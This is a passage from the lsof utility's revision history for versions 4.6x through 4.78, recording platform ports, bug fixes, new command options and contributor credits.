to the Configure script with a suggestion from Peter Valchev <pvalchev@sightly.net>. Note that this change does not constitute a claim that lsof works on OpenBSD 3.1, because I haven't tested it there. Built an automated test suite. (See 00TEST and the tests/ sub-directory of the lsof main directory). Bela Lubkin requested it. Dale Talcott, John Hughes, and Larry Rosenman helped me validate it on their systems. During the development of the test suite I discovered the following lsof bugs or missing features, and corrected or supplied them. * Corrected the reporting of locks for: o Digital UNIX 4.0d and Tru64 Unix 5.[01]; o HP-UX 10.30 and 11.00; o OpenUNIX 8; o UnixWare 7.1.1. * Enabled HP-UX 10.30 and 11.00 to report open NFS file link counts. * Corrected the reporting of UNIX domain socket names for Apple Darwin, FreeBSD 4.5 and above, NetBSD 1.4.1 and above, and for OpenBSD 3.0 and above. * Enabled HP-UX 11.11 to stat(2) large files. * Fixed handling of combination 32 and 64 bit device numbers in AIX 64 bit architectures. Updated the AIX 4.3.3 NFS rnode recognition code, first installed at revision 4.51. It looks like some IBM update has restored a single rnode structure independent of the machine bit width. Updated the NetBSD and OpenBSD sources so NetBSD can process DTYPE_PIPE files, as OpenBSD was already able to do. Updated Darwin get-xnu-headers.sh script to reflect information about a recent reorganization of the Darwin CVS hierarchy, supplied by Allan Nathanson <ajn@apple.com>. Added defense against the standard I/O descriptor attack. 4.64 June 26, 2002 Corrected some FreeBSD pre-processor directives. David O'Brien <obrien@NUXI.com> pointed them out. Updated lsof's main() function to: 1) close all open file descriptors above 2 before starting; and 2) to set a non-interfering umask. Moved GET_MAX_FD test from misc.c to proto.h, so that main() could use it. Added multiple-include protection to proto.h. Moved FAQ's test suite Q's & A's to a more appropriate section. Added a Q&A on HASSECURITY option and its affect on searching for open files. (That was already in the man page.) Updated hpux/kmem/dnode.c for HP-UX < 11 compilation with information from John Dzubera <Zube@CS.ColoState.EDU>. While lsof doesn't support HP-UX < 11 any more, I try to avoid disabling it there when possible, and a locking fix for HP-UX >= 11 in lsof 4.63 inadvertently disabled compilation of lsof for HP-UX < 11. Fixed long-standing bug in HP-UX 10.20 lock reporting. Removed language from the test suite programs that requires an ANSI-C compiler. This allowed the test suite to be validated with cc and gcc on the un- supported HP-UX 10.20. At the suggestion of Manuel Bouyer <bouyer@antioche.eu.org> switched NetBSD and OpenBSD lsof from using nlist() to using kvm_nlist(). Made the same change for BSDI, Darwin, and FreeBSD. Validated test suite on OPENSTEP 4.2. In response to a suggestion from Jeff Stoner <jstoner@blackboard.com> enhanced support for the FD list of the -d option to allow it to be either an exclusion or inclusion list, using the '^' prefix to denote exclusions. Made adjustments for FreeBSD 4.6 and 5.0-CURRENT. Fixed a FreeBSD /etc/make.conf CFLAGS extraction bug, reported by Kris Kennaway <kris@obsecurity.org>, and new a bug in the fix, reported by Eric Cronin <ecronin@eecs.umich.edu> Added nullfs support for FreeBSD, NetBSD, and OpenBSD at the request of Andrew Brown <atatat@atatdot.net>. Modified all readmnt() functions to ignore mounted-on directory names that don't begin with '/'. Tested on NetBSD 1.6A and OpenBSD 3.1. Upgraded to Solaris 9 FCS with two changes to the BETA-Refresh support: 1) an adjustment to dnode.c for a change in the so_so (sonode) structure; and 2) addition of Solaris 9 FCS specific DNLC code. David Comay <David.Comay@Eng.Sun.COM> sent me the dnode.c change and Casper Dik <Casper.Dik@sun.com> helped with the new DNLC support code. Applied OpenUNIX changes that permit lsof to compile and run on the upcoming 8.0.1 release. The changes were supplied by Robert Lipe <robertl@caldera.com>. Larry Rosenman <ler@lerctr.org> provided a test system. Added Solaris fd file system support. 4.65 October 10, 2002 Adjusted for change in FreeBSD 5.0-CURRENT inode structure, reported by David O'Brien <obrien@NUXI.com>. Adjusted for changes in FreeBSD 5.0-CURRENT <sys/vnode.h>. One change was reported by Anders Nordby <anders@FreeBSD.org>. Adjusted for FreeBSD 5.0-CURRENT on sparc64 architecture. Enhanced the error reporting of Solaris lsof when it detects a kvm_open() failure, and added a 00FAQ entry on the cause, based on a report from Peter J. Bertoncini <pjb@anl.gov>. Enabled compiling of lsof for NetBSD 1.5 with the NULL file system, using a patch from Andrew Brown <atatat@atatdot.net>. Removed a hack in the LTbigf test program that was once needed when it was compiled on Solaris 9 BETA- Refresh with gcc. The hack isn't needed on Solaris 9 FCS. Janet Hempstead <jan@library.carleton.ca> brought the need for this change to my attention. Applied a patch, supplied by Andrew Brown <atatat@atatdot.net>, that updates lsof for NetBSD version 1.6F. Corrected handling of the NetBSD nullfs. Updated to BSDI BSD/OS 4.3 on a test system kindly provided by Terry Kennedy <terry@tmk.com>. Updated to FreeBSD 4.7. Updated to Apple Darwin 1.5, 5.x and 6.x with patches supplied by Allan Nathanson <ajn@apple.com>. The patches include IPv6 support. Updated Configure to use the -bnolibpath loader option when building lsof on a PowerPC, running AIX 5 or greater. Valdis Kletnieks <Valdis.Kletnieks@vt.edu> informed me this was needed. Lsof for AIX 5.x was initially developed on the IA64, where -bnolibpath can't be used and I didn't think to restore it to PowerPC loads when AIX 5.x became available for that architecture. Updated to UnixWare 7.1.3 on a test system provided by Larry Rosenman <ler@lerctr.org>. Removed claims that lsof works on OpenUNIX 8.0.1, because UnixWare 7.1.3 is the release name of OpenUNIX 8.0.1. Based on a comment that his e-mail address was wrong in the lsof distribution from Kenneth Stailey <kstailey@disclosure.com>, removed all e-mail addresses from lsof documentation files except this one, 00DIST. The addresses in 00DIST are used to send revision release notices to those who contributed to a revision, but the addresses in this file for previous revisions and in other documentation files sometimes grow stale and are never validated. 4.66 December 22, 2002 Acquired Solaris 7 and 8 test systems, courtesy of John Dzubera <Zube@CS.ColoState.EDU>. Updated 00TEST and tests/TestDB accordingly. Clarified FreeBSD 5.0 architecture claims at the suggestion of David O'Brien <obrien@NUXI.com>. Also implemented David's suggestion to change Intel to x86. Installed changes to DNLC handling in OSR lsof in preparation for handling changes in the OSR 5.0.7 DNLC cache. Information about the changes and patches to handle them were supplied by Bela Lubkin <filbo@deepthought.armory.com>. Upgraded True 64 UNIX support to the 5.1B release on a test system provided by Berkley Shands <berkley@cse.wustl.edu> Had to used relaxed ANSI compilation because of an error in a system header file and other lsof source usages. Implemented the HASNOSOCKSECURITY compile-time option. When it and HASSECURITY are defined, lsof will be built to list only the user's open files, but will also list anyone else's open socket files, provided the "-i" option selects their listing. Updated the Customize script to ask about setting HASNOSOCKSECURITY. Left it undefined in all dialect machine.h header files. This change was requested by Kenneth Stailey <kstailey@speakeasy.net> for use with ntop. Added support for OpenBSD 3.2 and its kernel trace file. Improved lsof help (-h) and version (-v) information reporting. Fixed a FreeBSD 4.7 and above off-by-two UNIX domain socket path termination bug, reported by Ken Stailey <kstailey@speakeasy.net> 4.67 March 27, 2003 Began the transition of the lsof ftp server host name from vic.cc.purdue.edu to lsof.itap.purdue.edu. That reflects Purdue organizational changes. This first step makes the new name an alias to the old one. The old name, vic.cc.purdue.edu, will remain usable for an extended period. Corrected a revision number reference in section 17.17 of 00FAQ on the appearance of Solaris negative DNLC caching handing. Updated 00FAQ discussion of compilers for 64 bit Solaris. Validated test suite for 64 bit Solaris 8 and gcc. At the request of Alek O. Komarnitsky <alek@komar.org> added the "+c <width>" option to enable optional changing of the COMMAND column output maximum width from the default to <width>. The default maximum width remains CMDL, as defined in lsof.h. Fixed three AIX kernel bit size detection bugs, one in the AIX Configure script stanza, the second and third in the AIX dproc.c get_kernel_access() function. The bugs were reported by Pierre-Yves Fontaniere <pyf@cc.in2p3.fr>, who tested the fixes. Added kernel event queue file support for FreeBSD, NetBSD and OpenBSD. Andrew Brown <atatat@atatdot.net> supplied the code. Updated to AIX 5.2 on a test system provided by Dale Talcott <dtalcott@purdue.edu>. Had to build work-arounds for two missing AIX 5.2 header files, <j2/j2_snapshot> and <proc/proc_public.h>. Corrected an off-by-one UNIX socket addressing bug. Taught AIX lsof to handle both jfs and jfs2 files at the same time. Adjusted for an IBM mistake in the sizing of the fdsinfo structure in <procinfo.h> Toshiya Nakamura <TOSHIYAN@jp.ibm.com> helped test, Updated to FreeBSD 4.8. Corrected another bug in FreeBSD UNIX domain socket name handling. Corrected gcc build problems on HP-UX 11i, reported by Yuliy Minchev <yuliy@mobiltel.bg>. Updated BSDI BSD/OS support to 4.3.1. Augmented a lock ID test on NetBSD to check if the ID is an LWP pointer. 4.68 June 18, 2003 Enhanced Configure script's cleanup operations. Added support for OpenBSD 3.3, based on a report from Peter Valchev <pvalchev@sightly.net>. Improved the description of the detached PGP signature certificate file in the main lsof README file, based on a suggestion from Diana Stockdale <diana@mpl.ucsd.edu>. Installed a work-around for FreeBSD 5.0-CURRENT on Alpha to avoid a compiler register use complaint. Corrected a 'c' option error message. Gnele <blaadeleng@yahoo.com> reported the problem. Upgraded EXT2FS and UFS support for NetBSD and OpenBSD to handle new inode information, and the fast UFS1 and UFS2 file systems. With the help of Andrew Brown <atatat@atatdot.net> determined the NetBSD snapshot (1.6F) at which <sys/mount.h> could be included under _KERNEL, thus eliminating the lsof netexport.h hack. The same change applies to OpenBSD versions 3.3 and above. Applied a patch from Armin Gruner <ag@muc.de> that corrects the use of the HASPROCFS definition in the FreeBSD dialect sources. Corrected spelling errors in 00FAQ and in the generated 00.README.FIRST_<version> file of the distribution archive. John Jackson <jrj@purdue.edu> and Ray Phillips <r.phillips@jkmrc.uq.edu.au> spotted and reported the errors. Corrected a spelling error in a comment and incorrect use of an alarm function in the LTsock test program. At the suggestion of Stuart Anderson <sba@srl.caltech.edu> added preliminary (and incomplete) SAM-FS file system support to Solaris lsof. Completion awaits availability of SAM-FS internals. Fixed a Solaris device name printing bug, reported by Ric Anderson <ric@tick.Telcom.Arizona.EDU>, only visible when HASDCACHE is not defined. Ric helped test the fix. Fixed an AIX kernel bit size handling bug related to the NFS node (rnode) structure. Corrected a print_kptr() function call error in the AIX AFS code, reported by David Steiner <david.r.steiner@Dartmouth.EDU>. Upon further reflection and because I no longer have appropriate AIX AFS test systems, disabled AIX AFS support in the Configure script for AIX versions above 4.3.3.0 or AIX AFS versions above 3.5. Added support for FreeBSD 5.1. With advice from Allan Nathanson <ajn@apple.com> adjusted the Darwin get-xnu-headers.sh script to access the kernel header files needed by lsof from a new form of the Apple open source repository. Installed Linux and lsof library bug fixes and improvements, supplied by Marian Jancar <mjancar@suse.cz>. One Linux improvement handles mount strings that have octal escapes in them, eg., \040 for embedded blanks. Marian tested the changes. 4.69 October 16, 2003 Received and applied an OpenBSD patch from Peter Valchev <pvalchev@sightly.net> that replaces a ctob() call with a sysconf() call. Peter claims sysconf() is needed for OpenBSD on SPARC. (It is not needed for NetBSD on SPARC.) With the upgrade of my only Solaris 7 test system to, Solaris 8, dropped the *claim* that lsof works on Solaris 7. That doesn't mean it won't work there, so those who want lsof for Solaris 7 probably should be able to build it there and it probably will work there. Revised lsof's DNLC handling for BSD derivatives, including: BSDI; Darwin, DEC OSF/1, Digital UNIX and Tru64 UNIX; FreeBSD; NetBSD; and OpenBSD. The latest NetBSD distribution's dropping of the vnode capability ID (v_id) required the revision. Adjusted to the latest FreeBSD 5.1-CURRENT. Added NetBSD support for using kvm_getproc2(). Added a patch from Andrew Brown <atatat@atatdot.net> to handle NetBSD enum conflicts and changes in the <miscfs/kernfs/kernfs.h> and <miscfs/procfs/procfs.h> header files. Added a "#define _KERNEL" to the AIX dnode2.c source file for compatibility with a new <j2/j2_inode.h> AIX 5.2 header file version. The addition was supplied by Dick Dunbar <Dick.Dunbar@Siebel.com> and was offered as a patch to lsof 4.68/ Added support for a second type of Solaris SAMFS. Stuart Anderson <sba@srl.caltech.edu> provided the support. SAMFS support in lsof SOLARIS remains scanty, because Sun won't release any details on its kernel structures. Dropped the *claim* that lsof works on AIX 4.3.3, because I was unable to test it there. That doesn't mean it won't work there, so those who want lsof for AIX 4.3.3 probably should be able to build it there and it probably will work there. Updated for Solaris 10 on test systems provided by Mike Miscevic <miscevic@hotpop.com>. Casper Dik <casper@holland.sun.com> provided significant help. During the Solaris 10 port found and fixed an lofs handling bug that prevented reporting of open lofs file lock status. Updated the DNLC test, LTdnlc, to provide a possible explanation about file systems on which the test might fail. Modified the procedure for obtaining missing Darwin XNU kernel header files. The new one requires more manual intervention, but is the best that can be done with the way Apple open sources are now organized. 00FAQ explains the new procedures for those not used to downloading Apple open source files. Added support for Apple Darwin 7.0 (Mac OS X 10.3) with patches supplied by Allan Nathanson <ajn@apple.com>. Dropped the *claim* that lsof builds and works on Apple Darwin below 6.0. Validated lsof on FreeBSD 4.9, using a test system provided by Ben Lewis <bl@purdue.edu>. Validated lsof on FreeBSD 5.1-CURRENT for Amd64. David O'Brien <obrien@FreeBSD.org> provided a test system. Changed the NetBSD Configure stanza to do header file searches in /usr/include by default. The LSOF_INCLUDE and NETBSD_SYS environment variables may still be used to specify other search paths. Discussions with Andrew Brown and Wolfgang S. Rupprecht <wolfgang@wsrcc.com> led to the change. 4.70 January 16, 2004 Improved shell-portability of the linux stanza of the Configure script with a patch from Paul Jarc <prj@po.cwru.edu>. Added a "silent" rule to tests/Makefile for Paul. Updated, extended and clarified the test suite documentation in 00FAQ and 00TEST. Fixed Solaris 10 dlsof.h typo, reported by Mike Miscevic <miscevic@hotpop.com>. The typo prevents lsof from loading cleanly in Solaris 10 builds past 40. Fixed a Solaris HSFS node number reporting bug and added a structure definition work-around for Solaris 10. Converted PGP signing to GPG. My previous PGP key can be used, but the gpg "--allow-non-selfsigned-uid" option may have to be used when it is imported into a GPG key ring. Added bz2 compression. Updated for OpenBSD 3.4. Added a work-around for a missing header file in the s10_44 Solaris 10 build. Added support for FreeBSD 5.2-BETA and 5.2-CURRENT. Updated Linux AX25 support with modifications supplied by Lutz Poetschulat <dl9cu@db0zwi.de>. Added raw IPv6 support to Linux lsof. Improved handling of parameters after "-i@". Improved file name test in LTdnlc.c. Added loop count controls to the reading of Solaris lock chains. The change was implemented as a result of a report from Steve Gonczi <steve@relicore.com>. Based on a report from John Jackson <jrj@purdue.edu>, enabled a Solaris 10 <sys/lgrp.h> work-around for Solaris 9, too. (Patch 112233 installs an lgrp.h on Solaris 9 that needs the work-around.) With help from Andrew Brown <atatat@atatdot.net> and John Heasley <heas@netbsd.org> added log-structured file system (LFS) support for NetBSD and OpenBSD. Added AMD64 to the list of FreeBSD 5.x-CURRENT supported architectures. FreeBSD.org provides a test system, courtesy of (I believe) David O'Brien <obrien@FreeBSD.org>. Added a cast to lseek() in the HP-UX /dev/kmem-based kread() function to make it work properly with the bundled HP C compiler. 4.71 March 11, 2004 Added text file support to Apple Darwin lsof and enabled the lsof executable portion of the LTbasic test. Added support for Darwin kernel queue, POSIX semaphore and POSIX shared memory files. Tested on Darwin 7.2 (aka Mac OS 10.3.2). Added process_kqueue() function prototypes for FreeBSD, NetBSD and OpenBSD. Picked some lint in AIX sources, lib/rnmh.c and tests/LTsock.c. Added "-x [fl]" cross-over option, which enables +d and +D processing to cross over symbolic links and|or file system mount points. Discussion with Johan Lindquist <johan@smilfinken.net> and Eric Williams (aka The Ghost In The Machine) <ewill3@earthlink.net> on Linux news groups revealed the need for the option. Updated support for UnixWare 7.1.4. Added support for the optional reporting of socket options, socket states and TCP flags for most currently supported dialects. John Smith <lbalbalba@hotmail.com> and Tristan Nefzger <tn@bhtrader.com> requested the information. The dialects and their versions for which this feature has become available include: AIX 4.3.2 and 5.[12] Apple Darwin 7.2 BSDI BSD/OS 4.3.1 Digital UNIX and Tru64 UNIX 4.0 FreeBSD 4.9 and 5.2 HP-UX 11 and 11.11 (aka 11i) NetBSD 1.6ZH OpenBSD 3.4 OPENSTEP 4.2 OpenUNIX 8 SCO OpenServer Release 5.0.6 Solaris 2.6, 8, 9 and 10 UnixWare 7.1.[134] Modified the Configure stanza for HP-UX 11 with better q4 detection. Steve Bonds <3vhmxxm02@sneakemail.com> supplied the modification. Applied a patch from Mike Miscevic <miscevic@hotpop.com> to enable lsof to compile with the zone support in the Solaris 10 s10_b51 release. Added information on lsof zone behavior to 00FAQ. Added a "-z [z]" option to Solaris 10 lsof. It enables the listing of zone name and can also be used to select the listing of processes and their files from specified zones. 4.72 July 13, 2004 Corrected Solaris 10 ZONE column title display bug with a patch from Joep Vesseur <Joep.Vesseur@Sun.COM>. Joep's fix was offered as a patch to 4.71. Based on a report from Jean-Pierre Radley <jpr@jpr.com> about an unexpected GNU uname Configure interaction on OSR, and working from information received from Bela Lubkin, changed the OSR Configure stanza to use /bin/uname instead of uname. Added an FAQ entry about Configure version detection problems. Added the +m and "+m m" options in response to a dialog with Robert T. Brown <rbrown@netmentor.com>. The options allow the creation of a mount table supplement file which can be used on selected dialects to get device numbers when stat(2) and lstat(2) can't deliver them. (That's generally the result of an inaccessible NFS server.) Currently the new options are supported only on Linux. Made cpumask_t typedef _KERNEL compensation for FreeBSD 5.2-CURRENT. Refined it for 5.2.1-RELEASE with testing help from Scott Ellentuch <tuc@ttsg.com>. Added support for FreeBSD 4.10. Larry Rosenmann <ler@lerctr.org> kindly provided a test system. Added support for NetBSD 2.0 with patches supplied by Andrew Brown <atatat@atatdot.net>. Andrew also provided two test systems. Made handling of Linux maps file more robust, based on a report from Jan Blunck <J.Blunck@tu-harburg.de>. As a side benefit, made handling of generated stat(2) information more flexible. As a result of a discussion with Jason Fortezzo <fortezza@mechanicalism.net>, adjusted lsof for Solaris to obtain the maximum user name length from ut_name of the utmpx structure, if <utmpx.h> exists. Tested under OpenBSD 3.5. Updated 00README information about using gcc (via the Configure aixgcc abbrevisiation) to compile lsof on AIX. Ann Janssen <ajanssen@nebook.com> made me aware the information was out of date. Added an AIX SIGDANGER handler and some 00FAQ sections on lsof memory usage after a discussion with Tom Qin <tom.qin@citigroup.com> about lsof memory usage. Added scripts/sort_res.perl5, contributed by Fabian Frederick <fabian.frederick@gmx.fr>. The script displays lsof output sorted by size and path name. Improved handling of files on Linux NFS mount points that use the root_squash option, based on discussions with Paul Szabo <psz@maths.usyd.edu.au>. Updated FreeBSD 5.2-CURRENT support, based on a problem report from Filippo Natali <filippo@widestore.net>. Corrected improper FreeeBSD 5.x-CURRENT #if condition, reported by Kim Culhan <kimc@kim.net>. Added a Configure script work-around for AIX 5.2 lsof with JFS2, compiled by gcc >= 3.3. The work-around was supplied by Florian M. Weps <fmw@hactrn.ch>. 4.73 October 21, 2004 Added an __XPG4_CHAR_CLASS__ #define before #include'ing <ctype.h> on Solaris to restore lsof's ability to display special characters such as acute-e. Added wide-character (e.g., UTF-8) support where possible, prompted by a request from Kyungjoon Lee <kjoonlee@gmail.com>. Some older dialects -- e.g., NetBSD 1.4.1 -- don't support wide characters, so the wide character support is enabled by definitions in each dialect's machine.h. Dialects with wide- character support are listed in 00FAQ. Make a FreeBSD 5.2-CURRENT adjustment for <sys/pipe.h>, supplied by Sergey A. Osokin <osa@FreeBSD.ORG>. Implemented a Linux feature request made by Jakub Jelinek <jakub@redhat.com> that enhances lsof's ability to locate UNIX domain sockets whose paths are named as arguments. Jakub supplied suggested code. Dropped *claims* that lsof works on AIX below 5.1, SCO Dropped *claims* that lsof works on AIX below 5.1, SCO Openserver 5.0.4, Tru64 UNIX 5.0, and UnixWare below 7.1.4. Lsof will probably build and work on those UNIX dialect versions, but I no longer have any way to test lsof on them. Added support for FreeBSD 5.3 and 6.0. The FreeBSD 5.3 support hasn't been tested. Added FD test code that will allow dialect versions to test FD option selections. Used the new code in the PSTAT-based HP-UX lsof to enable it to avoid scanning the mount table when its information is not needed. The addition was made in response to a query from Harvey Garner <Harvey.Garner@championusa.com> about lsof performance in a busy NFS environment. Upgraded lsof's AIX support level to AIX 5.3, based on a report from Dick Dunbar <Dick.Dunbar@Siebel.com>. (I have not tested lsof under AIX 5.3.) Based on Dick's recommendation and local testing changed the C for AIX version 6 and higher -qmaxmem option value to -1. Made LSOF_AR environment variable more useful and documented it in 00XCONFIG. Corrected the use of sum(1) to generate signatures for the lsof distribution and binaries to match the documentation that claims it is sum -r output. Jin Guojun <jin@george.lbl.gov> noticed and reported the problem. Tested under OpenBSD 3.6. Added checksum and GPG certificate files for the bz2, gz and Z lsof distribution archives. The new files reside with the distribution archives and supplement the signature information already inside the archives. Validated on Solaris 10, i8xpc, build s10_63. 4.74 January 17, 2005 Fixed a Solaris segment fault bug on systems that lack a /dev/allkmem device. Offered the fix as a patch to lsof 4.73. The bug was reported by Donald Zoch <donald.zoch@amd.com>. Updated lsof for FreeBSD 6.0 and higher for a change in <sys/vnode.h>, based on a report from Sergey A. Osokin <osa@FreeBSD.ORG>. Made the update available in a 4.74 'A' edition pre-release. Filed an HP bug report about missing pstat(2) CWD info for LOFS on HP-UX 11.11 and higher. The missing CWD info was noticed by Ermin Borovac <e.borovac@bom.gov.au>. Added info to 00FAQ about the problem, which can cause the lsof test suite's LTbasic test to fail. Updated the q4-generated tcp_s.h in the lsof distribution and added socket option support for HP-UX 11.00. Erwin Reyns <ereyns@europarl.eu.int> helped test. Updated for Solaris 10, build s10_69, with a patch supplied by Mike Miscevic <miscevic@hotpop.com>. Added v_path support to Solaris 10 lsof. That relieves it of having to read and decode the kernel DNLC, and delivers full paths more reliably. Added specialized NFS4 support to Solaris 10 lsof. Applied Solaris 10 patches to lsof supplied by Casper Dik <casper@holland.sun.com>. Updated lsof for NetBSD 2.99.10 and tested it on a system provided by Andrew Brown <atatat@atatdot.net>. Added support for the FreeBSD 6.0-CURRENT f_vnode pointer in the file structure. Added BSDI, FreeBSD, NetBSD and OpenBSD support for the *effnlink member of the inode structure. This makes the lsof LTnlink test run faster on all modified dialects and correctly on OpenBSD. Added ptyfs support for NetBSD, using modifications provided by Andrew Brown. Changed the netbsd Configure stanza to look by default for system header files in both /usr/include and /usr/src. (The NETBSD_SYS environment variable can still be used to select an alternate for /usr/src.) Corrects two FreeBSD 4.10 RPC/XDR type definitions. Added an FAQ Q&A about setuid and setgid restrictions in HP-UX 11.11. The information in the answer was supplied by Frank Sanders <frank.sanders@siemens.com>. Added abbreviations for AXI FCIO and FSNAPSHOT file flags. Holger VanKoll <Holger.VanKoll@swisscom.com> reported the missing FCIO. Adjusted lsof's private AIX 64 bit rnode structure for 64 bit AIX 5.2 systems. (IBM doesn't distribute a correct <nfs/rnode.h> for it.) Corrected a Linux socket inode printing bug reported by Igor Schein <igor@txc.com>. Updated for FreeBSD 4.11. The support compiles but hasn't been tested. Back-ported a FreeBSD 6.0-CURRENT fix to FreeBSD 5.3-RELEASE-p1. That was done to solve a compilation problem reported by Radko Keves <rado@daemon.sk>. 4.75 May 16, 2005 Dropped the *claim* that lsof works on DEC OSF/1 and Digital UNIX, since my last 4.0 test system has been removed. The last tested distribution of lsof on DEC OSF/1 and Digital UNIX was revision 4.74. It has been archived on lsof.itap.purdue.edu in pub/tools/unix/lsof/OLD/src. Added negation forms to the values in the -g (PGID) and -p (PID) lists. Negated PGID and PID values, like negated UID or login name values, are applied without ORing or ANDing and take effect before any other selection criteria are applied. At the request of Marcin Gozdalik <gozdal@gmail.com> added a -X option for Linux. The option inhibits the reading of the /proc/net/tcp* and /proc/net/udp* files. Based on a report from David Gutierrez <davegu1@hotmail.com> changed DEC OSF/1 process table allocation to request memory in smaller increments. Based on a report from jayjwa <jayjwa@atr2.ath.cx> updated the Customize script to use "tail -n 1" where possible. Enabled support for FreeBSD 5.4. Improved the BSDI, FreeBSD, NetBSD, OpenBSD and Solaris kvm_open() and kvm_openfiles() error messages. Enabled support for NetBSD 2.99.12. Improved HP-UX Configure stanza with help from Piet Starreveld <pstarrev@csc.com>. Picked some lint Piet found. Enabled IPv6 support for HP-UX > 11. Piet Starreveld helped test it on 11.23, among others. Updated for HP-UX 11.23 on the ia64 architecture. Updated to latest FreeBSD 6.0-CURRENT, using a test system provided by Andrzej Tobola <ato@iem.pw.edu.pl>. Added support for SCO OSR 6.0.0 and UnixWare 7.1.4 with help from Richard at SCO. Corrected a Linux bug in NFS handling, reported by Karel Zak <kzak@redhat.com>. Karel supplied a patch. Improved the code for accessing an AIX 3.2 and higher sockaddr_un structure, thus eliminating a segmentation fault possibility. Updated for AIX 5.3. Added preliminary (DEBUG) support for the AIX SANFS file system. Fixed a bug in the Solaris 10 processing of the vnode's v_path pointer with code supplied by Edward Jajko <ejajko@portal.com>. The fix was offered as a patch to 4.74. Dropped support for OpenUNIX 8, since a test system is no longer available. Archived an OpenUNIX-only distribution of the last revision (4.74) tested on OpenUNIX in pub/tools/unix/lsof/OLD/src. Tested under Openbsd 3.7. Tested under Darwin 7.7.0. Enabled building on amd64 Solaris 10 with hints from Marc Aurele La France <tsi@ualberta.ca>. Marc provided a test system. Supplied a missing quote in the FreeBSD Configure stanza. Carl Cook <Info@quantum-sci.com> reported the problem. Removed "-O" option from tests/Makefile so that the HP-UX bundled compiler won't complain. 4.76 August 30, 2005 Corrected an example and spelling errors in man page. Updated for Apple Darwin 8.x with changes supplied by Allan Nathanson <ajn@apple.com>. Allan also provided a test system. Completed documentation of CLRLFILEADD in all machine.h files. At the request of Chris Markle <cmarkle@sendmail.com> added partial listen queue length to socket options displayed when -Tf is specified. Partial queue length is not reported for all dialects. (00FAQ lists the ones where it is reported.) Updated for FreeBSD 7.0 with information supplied by Andrzej Tobola <ato@iem.pw.edu.pl>. Updated Solaris VxFS support for VxFS versions 4 and above with technical advice from Craig Harmer <craig_harmer@symantec.com>, Gary Millen <gary_millen@symantec.com> and Chuck Silvers <charles_silvers@symantec.com>. Testing help was provided by Michael Antlitz <mantlitz@prophasys.com>, Steve Ginsberg <steve@dhapdigital.com> and Kenneth Stailey <kstailey@yahoo.com>. Fixed a Solaris address space map processing bug. Janardhan Molumuri <mjanardhan@gmail.com> reported the bug and help me identify it. Made the fix available as a patch to 4.75. Added support for Solaris 10 port and CTFS files. The CTFS support is imcomplete, because I don't know how to get inode number, size and link count. (There's a new 00FAQ entry about that.) Investigated a report from Christopher J Warweg <warwegc@GAO.GOV> that the CHECKSUMS for the lsof 4.75 binary for 64 bit Solaris 8 was incorrect. It was my packaging error. I rebuilt and repackaged the binary. Enabled support for Linux map file names with embedded spaces. 4.77 April 10, 2006 Added -X option support for Solaris 10 and above. When -X is specified lsof will report cached v_node path names for unlinked files, followed by "(deleted)". Improved cached vnode path name handling by adding "(?)" to the end of path names of questionable accuracy. Updated 00FAQ to reflect these changes. Updated for FreeBSD 7.0-CURRENT. Fixed name addition spacing bug, reported by Stuart Anderson <anderson@ligo.caltech.edu>. Also updated Solaris 10 SAMFS support at Stuart's request. Added missing "break;" and another HASSTATVFS test to the NetBSD and OpenBSD dnode.c. Bill Behr <bbehr@networkstoragecorp.com> reported those needs. Fixed an HP-UX 11 file descriptor "chunk" size problem, reported by Per Allansson <per@appgate.com>. Per helped devise the fix and tested it. This fix was offered as a patch to lsof 4.76. Updated for FreeBSD 6.0-STABLE and FreeBSD 6.1-PRERELEASE. Updated scripts/sort_res.perl5 with changes supplied by Frederick Fabian <fabian.frederick@skynet.be>, the author of the script. Corrected +|-M man page documentation error, reported by Roger Cornelius <rac@tenzing.org>. Improved FreeBSD user device random seed generation in response to a problem report from Danny Braniss <danny@cs.huji.ac.il>. Eliminated three syntax error bugs and other compiler complaints from the PSTAT-based lsof. H. Merijn Brand <h.m.brand@xs4all.nl> reported the problems and tested the fixes. Eliminated compiler complaints in the test suite. Investigated problems with the building of lsof on PA-RISC HP-UX 11.23, based on a report from John Orndorff <John.Orndorff@sungard.com>. Found that neither the HP bundled C compiler nor gcc would build lsof, but the the HP unbundled ANSI C compiler would. Concluded that HP bundled C compiler can't handle <gssapi/gssapi.h>. Devised a work-around to gcc's omission of the rpcent structure definition of <netdb.h> that allows it to compile lsof's print.c, but the resulting binary doesn't run reliably. Documented the situation in 00FAQ. Changed reporting of unknown file types. The number of an unknown type is now reported as four octets. The change was made in response to a Linux lsof bug report from Karel Zak <kzak@redhat.com>. Dropped the *claim* that lsof works on BSDI BSD/OS since my last test system has been removed. The last tested distribution of lsof for BSDI BSD/OS was revision 4.76. It has been archived on lsof.itap.purdue.edu in pub/tools/unix/lsof/OLD/src. As a result of discussing the lsof source tar's MD5 checksum with Andrew Bell <andrew.bell.ia@gmail.com>, changed the description of a suitable MD5 tool in the lsof distribution's documentation to name the openssl "dgst" command. Enabled compilation on Solaris 10 1/06 with a fix sent by Jason Fortezzo <fortezza@mechanicalism.net>. Made the fix available as a patch to 4.76. Adjusted to FreeBSD 5.5-PRERELEASE. Corrected a bug in the lsof library's process_file() function to enable the locating of AIX XTI sockets by their TCP/IP address values. The bug was reported by Michel Dubois <Dubois@sears.ca>. Based on a bug report from Karel Zak <kzak@redhat.com> added command name length checking to as many dialects as possible (Linux for Karel) for the "-c c" option. Updated for OpenBSD 3.[89]. Tested the 3.9 update on a system provided by David Mazieres. I have not tested on OpenBSD 3.8, but David reports lsof 4.76 worked there. Ended regression testing of lsof on 32 bit Solaris 8 with the ending of access to a test system. Lsof continues to be tested on 64 bit Solaris 8. 4.78 April 24, 2007 Added more information to the lsof FAQ about missing link counts and sizes on Linux files. Simplified Linux stat() and lstat() usage. Relocated #define's that prevent OpenBSD compilation on systems without a /proc file system. Pieter Bowman <bowman@math.utah.edu> reported the problem. Added code to avoid processing Linux /proc/<PID>/maps file entries with zero device and node numbers. Some such entries now have names associated with them that are not path names -- e.g., "[heap]", "[stack]" or "[vdso]". Scott Worley <sworley@chkno.net> reported lsof's mishandling of such entries. Added SELinux security context support, provided by James Antill <james.antill@redhat.com>. I have not tested this, but James and Karel Zak <kzak@redhat.com> have. Added the #include of <sys/types.h> to Solaris lsof to enabled compilation on Solaris 10 6/06. Peter Harvey Peter.Harvey@Sun.COM diagnosed the problem and supplied a patch. Added better support for JFS2 on AIX 5.2 and 5.3, based on bug reports and help from Thomas Braunbeck <BRAUNBEC@de.ibm.com> and Tom Whitty <TWHITTY@cerner.com>. Documented that lsof supports AIX 5.3 only up through maintenance level 1 (ML1). Enabled Solaris lsof to locate the AFS vnode 